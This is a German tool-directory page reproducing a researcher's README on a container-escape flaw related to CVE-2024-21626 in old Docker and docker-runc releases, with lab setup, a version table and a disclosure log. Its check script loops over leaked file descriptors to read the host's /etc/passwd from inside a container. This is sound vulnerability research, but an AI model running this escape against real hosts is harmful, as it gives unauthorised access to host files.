Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-21626-old-docker-versions — Exploit- und Analyse-Toolkit für die CVE-2024-21626 Container-Escape-Sicherheitslücke in veralteten Docker-Versionen, mit automatisierter fd-Erkennung und Proof-of-Concept-Skripten zum Testen älterer runc-Komponenten. | Kitploit
Tools/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Container-SicherheitSchwachstellenanalyseExploitationLernen & BildungContainer-AusbruchLabs & Praxis
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

Exploit- und Analyse-Toolkit für die CVE-2024-21626 Container-Escape-Sicherheitslücke in veralteten Docker-Versionen, mit automatisierter fd-Erkennung und Proof-of-Concept-Skripten zum Testen älterer runc-Komponenten.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 1 JahrNoch nicht geprüft

Containeraustritt-Schwachstelle in alten runc-Komponenten (CVE-2024-21626)

Während meiner Analyse zu CVE-2024-21626 habe ich festgestellt, dass andere ältere Docker-Komponenten anfällig für fd-Leaks sind (was in der Sicherheitswarnung GHSA-xr7r-f8xq-vfvv nicht erwähnt wird). Lesen Sie meinen vollständigen Artikel für eine detaillierte Erklärung hier.

1. Einrichtung der Umgebung 🔨

A. Herunterladen und Installieren der Version Ubuntu 18.04.6 LTS (Bionic Beaver)

Aktivieren Sie während der Installation nicht das Kontrollkästchen zum Herunterladen von Systemaktualisierungen.

B. Installieren der anfälligen Docker-Version und der zugehörigen Komponenten

  • Gehen Sie zu https://download.docker.com/linux/static/stable/x86_64/ und laden Sie die alte Version docker-X.Y.Z-ce.tgz zum Testen herunter

  • Entpacken Sie es, kopieren Sie den Inhalt in das Verzeichnis /usr/bin und starten Sie den Docker-Daemon.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. Überprüfen der installierten Versionen

root@kitploit:~
sudo docker version
containerd --version
uname -r

In alten Versionen haben wir docker-runc anstelle von runc. Überprüfen Sie daher:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Überprüfen Sie die Version von doker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. Überprüfen, ob das Ziel anfällig ist, und die richtige fd finden 🧐

Führen Sie checkVulnerability.sh aus und prüfen Sie, ob die Datei im Terminal ausgegeben wird

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Für dieses Beispiel habe ich die Version docker-17.03.1-ce verwendet. Schwachstelle prüfen & fd finden

3. Ausnutzen der Schwachstelle 🔫

Für dieses Beispiel habe ich die Version docker-17.03.1-ce verwendet.

Exploit

4. Testergebnisse 🧪

Nachfolgend sind die Ergebnisse meiner Analyse aufgeführt, geordnet nach Docker-Version und der verwendeten zugehörigen runc-Version.

docker-runc

runc

Docker-Versionrunc-VersionGeleakte fd-Nummer
docker-18.09.0.tgz1.0.0-rc5+dev❌

Hier ist der Screenshot, der die drei verschiedenen anfälligen Versionen zeigt.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

Wie bei CVE-2024-21626 sind die verschiedenen Arten von Angriffen weiterhin möglich.

5. Fazit & Erkenntnisse 🔚

Diese Schwachstelle unterscheidet sich erheblich von der CVE-2024-21626, weil:

  1. Sie kann in älteren Linux-Versionen ausgelöst werden, denen der openat2-Syscall fehlt.
  2. Der geleakte Dateideskriptor befindet sich im Pfad /run/runc/<container>/, der den Zustand laufender Container enthält, anstatt im Verzeichnis /sys/fs/cgroup des Hosts.

Was ich entdeckt habe, ist, dass ältere Versionen ebenfalls anfällig für die gleiche Angriffstechnik sind. Obwohl sich die Schwachstelle selbst unterscheidet, ist das Ergebnis dasselbe: Zugriff auf das Host-Dateisystem erhalten. Die wichtigste Erkenntnis ist, sich nicht ausschließlich auf Sicherheitswarnungen zu verlassen – testen Sie alles gründlich. Verstehen Sie die CVE vollständig, wie sie funktioniert, experimentieren Sie in einer sicheren Umgebung und untersuchen Sie Randfälle.

6. Verantwortungsvolle Offenlegung 🕺🏻

Ich habe versucht, [email protected] und [email protected] zu kontaktieren und eine CVE zu eröffnen. Ich habe die folgenden Antworten erhalten:

Tool herunterladen
Docker-Versiondocker-runc-VersionGeleakte fd-Nummer
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
AnfrageAntwort
[email protected] (19/03/24)Die von Ihnen aufgelisteten Versionen sind allesamt EOL-Versionen der Software (~7 Jahre alt) und werden von Docker nicht mehr gepatcht oder gewartet. Wenn Sie ein Problem mit den Versionen oder dem Wortlaut haben, die in der bestehenden GHSA-xr7r-f8xq-vfvv-Warnung aufgeführt sind ("affected versions: >= 1.0.0-rc93, <= 1.1.11"), dann ist der richtige Kanal, um dies zu melden, die OCI-Sicherheits-Mailbox: https://github.com/opencontainers/.github/blob/main/SECURITY.md Vielen Dank, dass Sie sich gemeldet haben. Lassen Sie uns wissen, wenn wir noch etwas tun können
[email protected] (20/03/24)keine Antwort
CVE-MITRE (15/05/2024)Wir vergeben normalerweise keine CVE-IDs für Probleme, die nur in Release Candidates existieren. https://www.cve.org/CVERecord?id=CVE-2024-21626 betraf veröffentlichte Versionen von runc, wie Release 1.1.11.